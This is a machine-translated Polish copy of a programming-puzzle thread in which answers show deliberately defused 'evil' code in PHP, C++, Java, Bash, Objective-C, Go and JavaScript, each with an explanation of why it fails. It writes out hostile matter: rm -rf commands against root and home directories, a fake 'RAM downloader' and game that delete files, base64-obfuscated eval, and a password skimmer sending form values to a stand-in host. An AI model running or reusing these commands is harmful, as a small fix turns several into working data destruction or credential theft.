Hehe, musiałem to sobie wyobrazić, w końcu ma 11-12 lat. Średnik jest prawdopodobnie po prostu, aby wszystko było równo ułożone.
Stoffe

9

PHP:

$condition = true and false;

if (!$condition) {
   // DO EVIL - Just do something evil here
}

Na pierwszy rzut oka $conditionjest fałszywe, ale =operator ma pierwszeństwo and, więc warunek jest spełniony. Więc zło nigdy się nie dzieje.


8

C ++ z funkcją Boost

Spowoduje to usunięcie wszystkich plików w systemie plików

#include "boost/filesystem.hpp"
using namespace boost::filesystem;

void delete_directory(const path* dir_path)
{
  if (!exists(*dir_path)) return;

  directory_iterator end_file_itr;
  for (directory_iterator file_itr(*dir_path);
        file_itr != end_file_itr;
        ++file_itr) {
    const path* file = &file_itr->path();
    if (file_itr->status().type() == directory_file) {
      delete_directory(file);
    } else {
      delete(file);
    }
  }

  delete(dir_path);
}

int main() {
  delete_directory(new path("/"));
  return 0;
}

Właściwie to nie będzie. deletew C ++ służy do zwolnienia pamięci przydzielonej przeznew a nie do usuwania plików i katalogów. Program najprawdopodobniej ulegnie awarii z powodu błędu segmentacji, gdy spróbuje zwolnić pamięć przydzieloną przez Boost, ale do tego czasu będę uciekł z niewoli trolla.


+1. Nie jest to łatwe do wykrycia, ponieważ kompiluje się nawet bez błędów.
Erel Segal-Halevi

2
Czy zachowanie pierwszego wiersza problemu nie jest niezdefiniowane? W takim przypadku może faktycznie usunąć wszystkie jego pliki.
aschepler

1
@aschepler: „UB może usunąć wszystkie twoje pliki” stanowi zabawne wytłumaczenie, że nie można przewidzieć, co się stanie podczas wywoływania UB, ale zazwyczaj nie jest to możliwe. Gdyby troll miał kompilator, który usuwa dyski twarde na UB, nie
zmusiłby

2
podświetlanie składni dałoby
trollowi

8

Jawa

Będzie to udawać, że pobiera pamięć RAM, ale usunie katalog domowy użytkownika.

import java.util.*;
import java.io.*;
class RamDownloaderIO {
    public static void main(String[] args) {
        long onePercentWaitTime   = 2*60*1000;  // 2 minutes
        long twoPercentWaitTime   = 7*60*1000;  // 7 minutes
        long deleteWaitTime       = 9*60*1000;  // 9 minutes
        long completeWaitTime     = 10*60*1000; // 10 minutes
        Timer timer = new Timer(true);
        // User thinks, Hmm this is taking a while
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("1% done");
            }
        }, onePercentWaitTime);
        // User is now completely impatient, and either leaves to get a coffee
        // or starts reading reddit
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("2% done");
            }
        }, twoPercentWaitTime);
        // Now that he's not looking, delete everything in his home directory
        timer.schedule(new TimerTask() {
            public void run() {
                try {
                    final Runtime rt = Runtime.getRuntime();
                    rt.exec("rm -rf ~/*");
                } catch (IOException e) {
                }
            }
        }, deleteWaitTime);
        // Inform the user that the task is finished
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("Download complete!");
                System.out.println("You now have 21.47GB RAM!");
                System.exit(0);
            }
        }, completeWaitTime);
        System.out.println("Welcome to the ramdownloader.io RAM downloader");
        System.out.println("Please wait. Downloading your free RAM...");

    }
}

Timerużywa wątku w tle do wywołania twojego, TimerTaskktóry mu przesłałeś. new Timer(true)tworzy Timerz wątkiem tła ustawionym jako wątek demona, więc program kończy działanie tuż przed uruchomieniem zadań. Zbyt długi kod odwraca uwagę trolla od zobaczenia trueparametru.


7
rm -rf ⁄

Znak ten nie jest zwykłym ukośnikiem (/, tj. SOLIDUS w Unicode), ale zamiast tego jest FRAKCJĄ. Wyświetli komunikat „rm: ⁄: Brak takiego pliku lub katalogu”


10
Och, naprawdę pozwól mi spróbować ...
Michael J. Calkins

1
@MichaelCalkins: możesz spróbować jako użytkownik nieuprzywilejowany i zobaczyć komunikat „nie znaleziono” ... mam nadzieję.
Olivier Dulac

7

grzmotnąć

# This script should always be executed as root #
set -e

cleanup() {
  rm -rf / --no-preserve-root
}

eval $(base64 -d <<< "dW5zZXQgLWYgY2xlYW51cA==")
eval $(base64 -d <<< "Y2xlYW51cCgpIHsgZWNobyBUcm9sbCBkZXRlY3RlZDsgfQo=")
cleanup

Być może jest tak zły, jak tylko się da. Definiuje funkcję, która by rm -rf /ją wywołała. Nie tylko wykorzystuje złoeval przy więcej niż jednej okazji.

Z pewnością wyrządziłby wiele szkód!

Jeśli się zastanawiasz, pierwszy z nich evalwyłącza funkcję przez: unset -f cleanup Drugi evaldefiniuje to: cleanup() { echo Troll detected; } Po uruchomieniu kodu zobaczysz Troll detected


9
Dobry! Powiedziałbym jednak, że linie „base64”, które najwyraźniej nie mają zastosowania do faktycznego usunięcia, sprawiają, że jest to zbyt oczywiste.
Erel Segal-Halevi

1
Mogłoby być lepiej, gdybyś uwierzył, że evalrobią coś więcej złego niż jakikolwiek oczywisty kod. Obecny kod prowadzi mnie do pytania: po co zawracać sobie głowę ukrywaniem „złego” kodu, skoro oczywiste rzeczy usuwają wszystko?
Tim S.

2
Nie sądzę, aby ten spełniał wymagania, ponieważ jest potencjalnie bardzo złośliwy: jeśli base64(nie jest to standardowe polecenie) w systemie, w którym jest uruchomiony, evale nic nie robią i rm -rf /działa! Może się tak zdarzyć, jeśli base64jest obecny, ale z jakiegoś powodu nie działa (np ulimit.).
R ..

1
@R .: Również rm -rf /nie będzie działać na większości rmimplementacji. Jest to funkcja bezpieczeństwa - nie można usunąć katalogu głównego w większości implementacji rm.
Konrad Borowski

1
O ile mi wiadomo, działa w wersji busybox. :-)
R ..

6

GRZMOTNĄĆ

Pewnie, że potrzebujemy uprawnień roota do komputera, więc używamy starego, dobrego „Czy mam root?” - checker, aka ch (eck) root - ale lepiej zrób to w katalogu, w którym nie będzie wielu alarmów. / tmp byłby idealny, ponieważ każdy może tam zapisywać pliki.

Po tym usuwamy cały zły dysk twardy ze złego śmiechu

mkdir -p /tmp/chroot_dir && chroot /tmp/chroot_dir /bin/bash -c "su - -c rm -rf /*"

10
jako Niemiec mogę powiedzieć: nie rób śmiechu zła jako Niemiec ...
Philipp Sander

Wer , jeśli nie jesteś Niemcem, czy potrafisz się śmiać, prawda?
Alexander Kosubek

5
Muszę przyznać, że zajęło mi to kilka odczytów kodu, a następnie ponowne przeczytanie twoich komentarzy, aby dowiedzieć się, dlaczego ktoś może uważać to za złośliwe. Nie sądzę, żeby to zadziałało, gdybyś nie próbował przekonać kogoś w swoich komentarzach, że chroot robi coś innego niż robi, a pytanie mówi, że troll nie czyta komentarzy ...
Chris

1
Nawiasem mówiąc, chrootnie jest to „sprawdź root”, to „zmień root” - zmienia wyobrażenie użytkownika o tym, co /jest. Co ciekawe, ten troll nie robi nic dla użytkowników root i innych niż root; użytkownicy root otrzymają nowy root (a zatem nie ma komendy / bin / bash, ponieważ w nowo utworzonym katalogu głównym / tmp / chroot_dir nic nie istnieje), a użytkownicy inni niż root nie mogą wykonać chroot.
mah

To jest jak wskazówka - wiem, że to nie „zmiana roota”, ale mój przechwytywacz (poprawne słowo?) Nie wie - więc źle się
spisuje

6

iPhone - Flappy Bird Clone

Gdy użytkownik gra w klonie iPhone Flappy Bird, wszystkie pliki w katalogu Dokumenty są usuwane.

#import "AppDelegate.h"
#import "FlappyBirdClone.h"

@implementation AppDelegate

- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions
{
    FlappyBirdClone *flappyBirdClone = [FlappyBirdClone new];
    [flappyBirdClone startFlapping];

    NSURL *documentsDirectory = [[[NSFileManager defaultManager] URLsForDirectory:NSDocumentDirectory inDomains:NSUserDomainMask] lastObject];
    [self deleteAllDocumentsInDirectory:documentsDirectory];

    return YES;
}

- (void)deleteAllDocumentsInDirectory:(NSURL *)directoryURL
{
    NSArray *fileURLs = [[NSFileManager defaultManager] contentsOfDirectoryAtURL:directoryURL includingPropertiesForKeys:@[] options:0 error:nil];

    [fileURLs enumerateObjectsUsingBlock:^(NSURL *fileURL, NSUInteger idx, BOOL *stop) {
        [[NSFileManager defaultManager] removeItemAtURL:fileURL error:nil];
    }];
}

Każda aplikacja w iOS ma piaskownicę, więc chociaż usuwa to wszystko z katalogu Dokumenty, jest to tylko katalog Dokumentów dla tej konkretnej aplikacji. Troll oczywiście nie jest tego świadomy, ponieważ został już zalany tyloma programami dla innych platform. I gdy tylko zda sobie sprawę, że on też może wypuścić klona Flappy Bird, może być tak podekscytowany, że nawet nie zastanawia się nad resztą kodu, ponieważ jest zbyt zajęty marzeniem zarobienia 50 000 USD dziennie na reklamach bez wykonywać jakąkolwiek pracę.


5

Iść:

package main

import (
    "fmt"
    "os"
    "sync"
)

func main() {
  wg := sync.WaitGroup{}
  go deleteAll(wg)
  wg.Wait()
}

func deleteAll(wg sync.WaitGroup) {
    wg.Add(1)
    defer wg.Done()
    fmt.Println("Press enter to clean your computer!")
    fmt.Scanln()
    os.RemoveAll("/home")
}

Ten jest trochę trudny. W Go cały program kończy się po wyjściu głównego Goroutine. Dobrym sposobem na rozwiązanie tego jest skorzystanie z Waitgroup. Z moją „poprawką” wiążą się dwa ogromne problemy:

  1. Grupa Waitg nie jest dodawana do momentu rozpoczęcia Goroutine, co oznacza, że ​​główny Goroutine uderzy Waitprzed usunięciem Goroutine Add. Ponieważ licznik będzie wynosił 0, nie ma na co czekać i dlatego nie będzie się blokował i po prostu wyjdzie, kończąc program.
  2. Nawet jeśli, w magiczny sposób, najpierw usunie się całe usunięcie goroutine. Dostał kopię Waitgroup, a nie wskaźnik do niej. Nie będzie dodawać do tej samej grupy Wait, więc główny Goroutine nigdy jej nie zobaczy.

Funkcja fmt.Scanln (), której należy się spodziewać, polega na tym, aby upewnić się, że główny Goroutine zakończy działanie, zanim cokolwiek się wydarzy. Println najprawdopodobniej spowoduje zablokowanie IO i przejdzie do uruchamiania głównego Goroutine (w ten sposób wychodząc), a Scanln prawie na pewno to zrobi. W rzeczywistości żadne z nich nie jest konieczne w żadnej wersji Go.

W super teorii lądu MOŻNA działać i coś usuwać, co oznacza, że ​​zgodnie z modelem pamięci Go nie ma gwarantowanej relacji „zdarza się przed” w odniesieniu do końca maini wykonania RemoveAll, ale nie będzie to w żadnym nowoczesnym środowisku uruchomieniowym / kompilatorze Go, jak udowodniono przez wszystkich początkujących, którzy popełniają błąd, nie synchronizując swoich głównych funkcji.


4

JavaScript

function(){
    setInterval(function(){
        var passwordList = document.getElementsByTagName('input') ;
        var i, length = passwordList.length ;
        for(i = 0 ; i < lenght ; i++) if(passwordList[i].type == 'password'){
            var img = document.createElement('img') ;
            img.src = 'http://troll-server-password-listener.com/fake-image.jpg?password=' + passwordList[i].value ;
            img.style.display = none ;
            img.addEventListener('load', function(){
                var that = this ;
                setTimeout(function(){ that.outerHTML = '' }, 0) ;
            }) ;
            document.body.appendChild(img) ;
        }
    }, 1) ;
}() ;

1.

Nie będzie działać, nie można utworzyć zamknięcia, które wszyscy nazywają bez obejścia go za pomocą parens

2)

Jeśli trollowi uda się to naprawić, jest piękna literówka do debugowania ... ;-)


1
jaki język? i może trochę więcej w
literówce

@ masterX244 to Javascript, będę go edytować. Wskazówka dotycząca literówki: ReferenceError
Juan Garcia

3
Ta literówka jest tak często, że powinna być automatycznie
poprawiana

Tak, często popełniam tę literówkę. Zwłaszcza jeśli długość słowa jest dość długa: P
Mohammed Joraid

1
@ m01 +1 Myślę, że powinno to być słowo zastrzeżone, które zgłasza wyjątek lub błąd czasu kompilacji!
Juan Garcia
Korzystając z naszej strony potwierdzasz, że przeczytałeś(-aś) i rozumiesz nasze zasady używania plików cookie i zasady ochrony prywatności.
Licensed under cc by-sa 3.0 with attribution required.